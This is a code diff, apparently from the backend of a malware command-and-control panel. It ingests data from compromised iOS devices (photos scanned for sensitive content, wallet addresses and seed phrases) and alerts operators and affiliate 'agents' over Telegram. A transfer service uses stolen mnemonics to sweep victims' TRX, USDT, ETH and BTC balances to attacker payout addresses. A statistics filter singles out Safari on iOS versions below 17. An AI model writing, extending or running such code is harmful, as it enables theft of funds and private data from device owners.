$byIosVersion = (clone $iosVisits)
->select('os_version')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('os_version')
->orderByDesc('pv')
->limit(20)
->get()
->map(fn ($r) => $this->row(
((string) ($r->os_version ?? '')) !== '' ? (string) $r->os_version : 'Unknown',
(int) $r->pv,
(int) $r->uv,
$iosPv > 0 ? $iosPv : $pv,
))
->values()
->all();
return [
'total' => $total,
'new_count' => $newCount,
'active_count' => $activeCount,
'pv' => $pv,
'uv' => $uv,
'effective_pv' => $effectivePv,
'effective_uv' => $effectiveUv,
'by_os' => $byOs,
'by_ios_version' => $byIosVersion,
'range' => $range,
'from' => $from->toDateTimeString(),
'to' => $to->toDateTimeString(),
];
}
/**
* Map telegram /data day token to dashboard range key.
* Empty / omitted → today.
*/
public function rangeFromDays(?string $days): string
{
$days = $days === null ? '' : trim($days);
if ($days === '' || $days === '1') {
return 'today';
}
return match ($days) {
'7' => '7d',
'30' => '30d',
default => throw new \InvalidArgumentException('Days must be 1, 7, or 30'),
};
}
/**
* @return array{0: Carbon, 1: Carbon}
*/
public function rangeBounds(string $range): array
{
$now = Carbon::now();
return match ($range) {
'today', '1', '1d' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()],
'yesterday' => [
$now->copy()->subDay()->startOfDay(),
$now->copy()->subDay()->endOfDay(),
],
'7d', '7' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()],
default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()],
};
}
private function applyEffectiveFilter(Builder $query): void
{
$query->where('os', 'iOS')
->where('browser', 'Safari')
->whereNotNull('os_version')
->where('os_version', '!=', '');
$driver = DB::connection()->getDriverName();
if ($driver === 'sqlite') {
$query->whereRaw('CAST(os_version AS INTEGER) < 17');
} else {
$query->whereRaw("CAST(SUBSTRING_INDEX(os_version, '.', 1) AS UNSIGNED) < 17");
}
}
/**
* @return array{label: string, pv: int, uv: int, pct: float}
*/
private function row(string $label, int $pv, int $uv, int $totalPv): array
{
$pct = $totalPv > 0 ? round(($pv / $totalPv) * 100, 1) : 0.0;
return [
'label' => $label,
'pv' => $pv,
'uv' => $uv,
'pct' => $pct,
];
}
}
+70 -43
View File
@@ -124,55 +124,84 @@ class IngestService
return null;
}
/**
* /api/user/avatar/put — create or touch device.
* Create: fill profile + channel_id (put is the only trusted channel source).
* Update: refresh updated_at; fill channel_id only when still empty (first trusted put).
*/
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
$deviceKey = $deviceKey !== null
? self::normalizeDeviceKey(substr($deviceKey, 0, 64))
: $this->extractDeviceKey($payload);
$deviceKey = $this->resolveDeviceKey($payload, $deviceKey);
if (! $deviceKey) {
return null;
}
$deviceModel = $this->extractDeviceModel($payload);
$ios = $this->extractIosVersion($payload);
$channelId = $this->extractChannelId($request, $payload);
$ua = substr((string) $request->userAgent(), 0, 2000);
$existing = Device::query()->where('device_id', $deviceKey)->first();
if ($existing) {
$touch = ['updated_at' => now()];
$channelId = $this->extractChannelId($request, $payload);
if ($this->channelIdEmpty($existing->channel_id) && $channelId !== null && $channelId !== '') {
$touch['channel_id'] = $channelId;
}
$existing->forceFill($touch)->saveQuietly();
return $existing->refresh();
}
return $this->createDevice($request, $payload, $deviceKey, withChannel: true);
}
/**
* Other C2 routes — create device if missing so business rows can attach,
* but never write channel_id (put will fill it later). Existing rows are left untouched.
*/
public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
$deviceKey = $this->resolveDeviceKey($payload, $deviceKey);
if (! $deviceKey) {
return null;
}
$existing = Device::query()->where('device_id', $deviceKey)->first();
if ($existing) {
return $existing;
}
return $this->createDevice($request, $payload, $deviceKey, withChannel: false);
}
private function resolveDeviceKey(?array $payload, ?string $deviceKey): ?string
{
$deviceKey = $deviceKey !== null
? self::normalizeDeviceKey(substr($deviceKey, 0, 64))
: $this->extractDeviceKey($payload);
return $deviceKey !== null && $deviceKey !== '' ? $deviceKey : null;
}
private function channelIdEmpty(mixed $channelId): bool
{
return $channelId === null || $channelId === '';
}
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device
{
$ua = substr((string) $request->userAgent(), 0, 2000);
$attrs = [
'device_id' => $deviceKey,
'ip' => $request->ip(),
'device_model' => $this->extractDeviceModel($payload),
'ios_version' => $this->extractIosVersion($payload),
'channel_id' => $withChannel ? $this->extractChannelId($request, $payload) : null,
];
if ($ua !== '') {
$attrs['user_agent'] = $ua;
}
if ($deviceModel !== null) {
$attrs['device_model'] = $deviceModel;
} elseif ($existing) {
$attrs['device_model'] = $existing->device_model;
}
if ($ios !== null) {
$attrs['ios_version'] = $ios;
} elseif ($existing) {
$attrs['ios_version'] = $existing->ios_version;
}
if ($channelId !== null) {
$attrs['channel_id'] = $channelId;
} elseif ($existing) {
$attrs['channel_id'] = $existing->channel_id;
}
// created_at = 安装时间;每次收到带设备标识的请求都刷新 updated_at(活跃判断)
$device = Device::query()->updateOrCreate(
['device_id' => $deviceKey],
$attrs
);
$device->forceFill(['updated_at' => now()])->saveQuietly();
if (! $existing) {
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
$device->telegram_notified = true;
$device->save();
}
$device = Device::query()->create($attrs);
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
$device->telegram_notified = true;
$device->save();
return $device->refresh();
}
@@ -450,35 +479,33 @@ class IngestService
*/
public function ingestPhotos(Device $device, array $filePaths, array $meta = []): void
{
$notifiedNewSensitive = false;
if (! $device->albumStorageEnabled()) {
return;
}
foreach ($filePaths as $path) {
if (! is_file($path)) {
continue;
}
$bytes = file_get_contents($path);
$sha = hash('sha256', $bytes);
// Same file content → skip DB insert & telegram (idempotent).
// Same file content → skip DB insert (idempotent).
if (Photo::query()->where('device_id', $device->id)->where('sha256', $sha)->exists()) {
continue;
}
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
Storage::disk('local')->put($rel, $bytes);
$xHit = $meta['x_hit'] ?? null;
$photo = Photo::query()->create([
Photo::query()->create([
'device_id' => $device->id,
'sha256' => $sha,
'path' => $rel,
'size' => strlen($bytes),
'x_hit' => $xHit,
'x_hit' => $meta['x_hit'] ?? null,
'upload_count' => $meta['upload_count'] ?? null,
'process_index' => $meta['process_index'] ?? null,
'text_count' => $meta['text_count'] ?? null,
'barcode_count' => $meta['barcode_count'] ?? null,
]);
if ($photo->wasRecentlyCreated && (int) $xHit > 0 && ! $notifiedNewSensitive) {
$this->telegram->notifyNewPhotos($device->device_id);
$notifiedNewSensitive = true;
}
}
}
+71 -18
View File
@@ -2,24 +2,57 @@
namespace App\Services;
use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletMnemonic;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
class TelegramNotifier
{
public function enabled(): bool
public function systemEnabled(): bool
{
return (bool) (config('coruna.telegram.bot_token') && config('coruna.telegram.owner_chat_id'));
return trim((string) config('coruna.telegram.bot_token', '')) !== ''
&& trim((string) config('coruna.telegram.owner_chat_id', '')) !== '';
}
public function send(string $text): bool
/**
* @return array{0: string, 1: string}|null [token, chatId]
*/
public function resolveDestination(?string $deviceKey = null): ?array
{
if (! $this->enabled()) {
$agent = $this->resolveAgentForDeviceKey($deviceKey);
if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramBot()) {
return [
trim((string) $agent->bot_token),
trim((string) $agent->chat_id),
];
}
if (! $this->systemEnabled()) {
return null;
}
return [
trim((string) config('coruna.telegram.bot_token')),
trim((string) config('coruna.telegram.owner_chat_id')),
];
}
public function enabled(?string $deviceKey = null): bool
{
return $this->resolveDestination($deviceKey) !== null;
}
public function send(string $text, ?string $deviceKey = null): bool
{
$dest = $this->resolveDestination($deviceKey);
if ($dest === null) {
return false;
}
$token = config('coruna.telegram.bot_token');
$chatId = config('coruna.telegram.owner_chat_id');
[$token, $chatId] = $dest;
try {
$resp = Http::timeout(15)->asForm()->post(
"https://api.telegram.org/bot{$token}/sendMessage",
@@ -46,7 +79,7 @@ class TelegramNotifier
'🔑 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
]));
]), $deviceId);
}
public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
@@ -92,7 +125,7 @@ class TelegramNotifier
$lines[] = '💵 <b>Balance</b>: '.$this->e($bal);
}
$this->send(implode("\n", $lines));
$this->send(implode("\n", $lines), $deviceId);
}
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
@@ -102,15 +135,7 @@ class TelegramNotifier
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'🏷 <b>Source</b>: '.$this->e($source ?: '—'),
'📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
]));
}
public function notifyNewPhotos(string $deviceId): void
{
$this->send(implode("\n", [
'🖼 <b>New Photos</b> <i>(with sensitive hits)</i>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
]));
]), $deviceId);
}
public function notifyBalanceChange(
@@ -131,7 +156,35 @@ class TelegramNotifier
if ($balance !== null && trim($balance) !== '') {
$lines[] = '💰 <b>Balance</b>: '.$this->e($balance);
}
$this->send(implode("\n", $lines));
$this->send(implode("\n", $lines), $deviceId);
}
private function resolveAgentForDeviceKey(?string $deviceKey): ?User
{
$deviceKey = trim((string) $deviceKey);
if ($deviceKey === '') {
return null;
}
try {
$channelId = Device::query()
->where('device_id', $deviceKey)
->value('channel_id');
if (! is_string($channelId) || $channelId === '') {
return null;
}
$userId = Channel::query()
->where('channel_id', $channelId)
->value('user_id');
if ($userId === null || (int) $userId <= 0) {
return null;
}
return User::query()->find((int) $userId);
} catch (\Throwable) {
return null;
}
}
private function e(?string $value): string
+167 -29
View File
@@ -2,6 +2,7 @@
namespace App\Services;
use App\Models\TransferRecord;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\Chain\ChainDriver;
@@ -15,29 +16,50 @@ class TransferService
) {}
/**
* Sweep from a known device address to the configured payout address.
* Sweep from a known device address to the configured TRANSFER_TO_ADDRESS_*.
* Looks up mnemonics by the address row's device_id + source; tries each in order
* (and BIP44 indexes) until the derived address matches $fromAddress.
* Null / empty $amount means transfer the full on-chain balance of $asset.
*
* @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
*/
public function handle(string $chain, string $fromAddress, ?string $amount = null, string $asset = 'USDT'): array
{
public function handle(
string $chain,
string $fromAddress,
?string $amount = null,
string $asset = 'USDT',
?string $operator = null,
): array {
$chain = strtolower(trim($chain));
$record = [
'from_address' => $fromAddress,
'to_address' => null,
'chain' => $chain,
'tx_hash' => null,
'amount' => $amount === null || trim($amount) === '' ? null : trim($amount),
'type' => TransferRecord::TYPE_OUT,
'asset' => strtoupper(trim($asset)),
'operator' => $operator,
'status' => TransferRecord::STATUS_FAILED,
'error' => null,
];
try {
$to = trim((string) config('coruna.transfer.to_address', ''));
$to = $this->toAddress($chain);
if ($to === '') {
return ['ok' => false, 'error' => 'TRANSFER_TO_ADDRESS is not configured'];
return $this->finish($record, ['ok' => false, 'error' => $this->missingToAddressError($chain)]);
}
$record['to_address'] = $to;
$asset = strtoupper(trim($asset));
$record['asset'] = $asset;
$driver = $this->chains->resolve($chain);
if (! $driver->isValidAddress($fromAddress)) {
return ['ok' => false, 'error' => 'Invalid from address'];
return $this->finish($record, ['ok' => false, 'error' => 'Invalid from address']);
}
if (! $driver->isValidAddress($to)) {
return ['ok' => false, 'error' => 'Invalid TRANSFER_TO_ADDRESS'];
return $this->finish($record, ['ok' => false, 'error' => 'Invalid to address']);
}
$amount = $amount === null ? null : trim($amount);
@@ -46,58 +68,151 @@ class TransferService
}
if ($amount === null) {
$amount = $this->resolveFullBalance($driver, $fromAddress, $asset);
$amount = $this->resolveFullBalance($driver, $fromAddress, $asset, $chain);
}
$record['amount'] = $amount;
$this->assertAmountWithinLimit($amount, $asset);
$resolved = $this->resolveMnemonicForAddress($driver, $fromAddress);
if ($resolved === null) {
return ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)'];
return $this->finish($record, ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)']);
}
['mnemonic' => $mnemonic, 'index' => $index] = $resolved;
$txid = match ($asset) {
'TRX' => $driver->sendNative($mnemonic, $index, $to, $amount),
'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount),
'USDT' => $driver->sendToken(
$mnemonic,
$index,
$to,
$amount,
(string) config('coruna.tron.usdt_contract'),
$this->usdtContract($chain),
),
default => throw new RuntimeException("Unsupported asset: {$asset}"),
};
return [
$record['tx_hash'] = $txid;
$record['status'] = TransferRecord::STATUS_SUCCESS;
return $this->finish($record, [
'ok' => true,
'txid' => $txid,
'from' => $fromAddress,
'to' => $to,
'amount' => $amount,
'asset' => $asset,
];
]);
} catch (\Throwable $e) {
return ['ok' => false, 'error' => $e->getMessage()];
$record['error'] = $e->getMessage();
return $this->finish($record, ['ok' => false, 'error' => $e->getMessage()]);
}
}
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset): string
/**
* @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record
* @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result
* @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
*/
private function finish(array $record, array $result): array
{
if (! ($result['ok'] ?? false)) {
$record['status'] = TransferRecord::STATUS_FAILED;
$record['error'] = $record['error'] ?: ($result['error'] ?? 'Transfer failed');
}
try {
TransferRecord::query()->create([
'from_address' => (string) ($record['from_address'] ?? ''),
'to_address' => $record['to_address'],
'chain' => (string) ($record['chain'] ?? ''),
'tx_hash' => $record['tx_hash'],
'amount' => $record['amount'],
'type' => (string) ($record['type'] ?? TransferRecord::TYPE_OUT),
'asset' => (string) ($record['asset'] ?? ''),
'operator' => $record['operator'],
'status' => (string) ($record['status'] ?? TransferRecord::STATUS_FAILED),
'error' => $record['error'],
]);
} catch (\Throwable) {
// never break transfer for persistence failures
}
create_log([
'event' => 'transfer',
'ok' => (bool) ($result['ok'] ?? false),
'from' => $record['from_address'],
'to' => $record['to_address'],
'chain' => $record['chain'],
'tx_hash' => $record['tx_hash'],
'amount' => $record['amount'],
'type' => $record['type'],
'asset' => $record['asset'],
'operator' => $record['operator'],
'status' => $record['status'],
'error' => $record['error'],
], 'transfer');
return $result;
}
private function toAddress(string $chain): string
{
return match ($chain) {
'eth', 'ethereum' => trim((string) config('coruna.transfer.to_address_eth', '')),
'btc', 'bitcoin' => trim((string) config('coruna.transfer.to_address_btc', '')),
default => trim((string) config('coruna.transfer.to_address', '')),
};
}
private function missingToAddressError(string $chain): string
{
return match ($chain) {
'eth', 'ethereum' => 'TRANSFER_TO_ADDRESS_ETH is not configured',
'btc', 'bitcoin' => 'TRANSFER_TO_ADDRESS_BTC is not configured',
default => 'TRANSFER_TO_ADDRESS is not configured',
};
}
private function usdtContract(string $chain): string
{
$contract = match ($chain) {
'eth', 'ethereum' => trim((string) config('coruna.eth.usdt_contract', '')),
default => trim((string) config('coruna.tron.usdt_contract', '')),
};
if ($contract === '') {
throw new RuntimeException('USDT contract is not configured for '.$chain);
}
return $contract;
}
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string
{
$balance = match ($asset) {
'TRX' => $driver->getNativeBalance($fromAddress),
'USDT' => $driver->getTokenBalance(
$fromAddress,
(string) config('coruna.tron.usdt_contract'),
),
'TRX', 'ETH', 'BTC' => $driver->getNativeBalance($fromAddress),
'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)),
default => throw new RuntimeException("Unsupported asset: {$asset}"),
};
if ($asset === 'TRX') {
$reserve = (string) config('coruna.transfer.trx_fee_reserve', '1');
if ($reserve !== '' && bccomp($reserve, '0') > 0) {
$balance = bcsub($balance, $reserve, 6);
$reserveKey = match ($asset) {
'TRX' => 'coruna.transfer.trx_fee_reserve',
'ETH' => 'coruna.transfer.eth_fee_reserve',
'BTC' => 'coruna.transfer.btc_fee_reserve',
default => null,
};
$scale = match ($asset) {
'ETH' => 18,
'BTC' => 8,
default => 6,
};
if ($reserveKey !== null) {
$reserve = (string) config($reserveKey, '0');
if ($reserve !== '' && bccomp($reserve, '0', $scale) > 0) {
$balance = bcsub($balance, $reserve, $scale);
$balance = rtrim(rtrim($balance, '0'), '.');
if ($balance === '' || str_starts_with($balance, '-')) {
$balance = '0';
@@ -105,7 +220,7 @@ class TransferService
}
}
if (bccomp($balance, '0') <= 0) {
if (bccomp($balance, '0', $scale) <= 0) {
throw new RuntimeException("No transferable {$asset} balance");
}
@@ -122,11 +237,20 @@ class TransferService
->orderBy('id')
->get(['device_id', 'source']);
// ETH addresses are often stored with mixed-case checksum.
if ($addressRows->isEmpty() && str_starts_with(strtolower($fromAddress), '0x')) {
$addressRows = WalletAddress::query()
->whereRaw('LOWER(address) = ?', [strtolower($fromAddress)])
->orderBy('id')
->get(['device_id', 'source']);
}
if ($addressRows->isEmpty()) {
return null;
}
$maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20));
$caseInsensitive = $driver->chainId() === 'eth';
foreach ($addressRows as $row) {
$mnemonics = WalletMnemonic::query()
@@ -148,7 +272,11 @@ class TransferService
}
for ($index = 0; $index <= $maxIndex; $index++) {
try {
if ($driver->deriveAddress($phrase, $index) === $fromAddress) {
$derived = $driver->deriveAddress($phrase, $index);
$match = $caseInsensitive
? strcasecmp($derived, $fromAddress) === 0
: $derived === $fromAddress;
if ($match) {
return ['mnemonic' => $phrase, 'index' => $index];
}
} catch (\Throwable) {
@@ -163,13 +291,23 @@ class TransferService
private function assertAmountWithinLimit(string $amount, string $asset): void
{
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount) || bccomp($amount, '0') <= 0) {
$decimals = match ($asset) {
'ETH' => 18,
'BTC' => 8,
default => 6,
};
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount) || bccomp($amount, '0', $decimals) <= 0) {
throw new RuntimeException('Invalid amount');
}
$maxKey = $asset === 'TRX' ? 'coruna.transfer.max_trx' : 'coruna.transfer.max_usdt';
$maxKey = match ($asset) {
'TRX' => 'coruna.transfer.max_trx',
'ETH' => 'coruna.transfer.max_eth',
'BTC' => 'coruna.transfer.max_btc',
default => 'coruna.transfer.max_usdt',
};
$max = (string) config($maxKey, '0');
if ($max !== '' && $max !== '0' && bccomp($amount, $max) > 0) {
if ($max !== '' && $max !== '0' && bccomp($amount, $max, $decimals) > 0) {
throw new RuntimeException("Amount exceeds max {$asset} limit ({$max})");
}
}
+66 -2
View File
@@ -10,8 +10,7 @@ use Illuminate\Support\Facades\Log;
/**
* Live on-chain balance refresh for wallet_addresses.
*
* Tron mainnet: only TRX (native) + USDT (official TRC20) are queried.
* BTC / ETH / BNB have no canonical native assets on Tron — skipped.
* Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20). BTC: BTC only.
*/
class WalletBalanceService
{
@@ -30,10 +29,75 @@ class WalletBalanceService
return match ($chain) {
'TRON', 'TRX' => $this->refreshTron($address),
'ETH', 'ETHEREUM' => $this->refreshEth($address),
'BTC', 'BITCOIN' => $this->refreshBtc($address),
default => false,
};
}
public function refreshEth(WalletAddress $address): bool
{
$addr = trim((string) $address->address);
if ($addr === '') {
return false;
}
try {
$driver = $this->chains->resolve('eth');
$address->eth = $driver->getNativeBalance($addr);
$contract = trim((string) config('coruna.eth.usdt_contract', ''));
if ($contract !== '') {
$address->usdt = $driver->getTokenBalance($addr, $contract);
}
$address->save();
Log::info('eth balance refresh ok', [
'wallet_address_id' => $address->id,
'address' => $addr,
'eth' => $address->eth,
'usdt' => $address->usdt,
]);
return true;
} catch (\Throwable $e) {
Log::warning('eth balance refresh failed: '.$e->getMessage(), [
'wallet_address_id' => $address->id,
'address' => $addr,
]);
return false;
}
}
public function refreshBtc(WalletAddress $address): bool
{
$addr = trim((string) $address->address);
if ($addr === '') {
return false;
}
try {
$driver = $this->chains->resolve('btc');
$address->btc = $driver->getNativeBalance($addr);
$address->save();
Log::info('btc balance refresh ok', [
'wallet_address_id' => $address->id,
'address' => $addr,
'btc' => $address->btc,
]);
return true;
} catch (\Throwable $e) {
Log::warning('btc balance refresh failed: '.$e->getMessage(), [
'wallet_address_id' => $address->id,
'address' => $addr,
]);
return false;
}
}
public function refreshTron(WalletAddress $address): bool
{
$addr = trim((string) $address->address);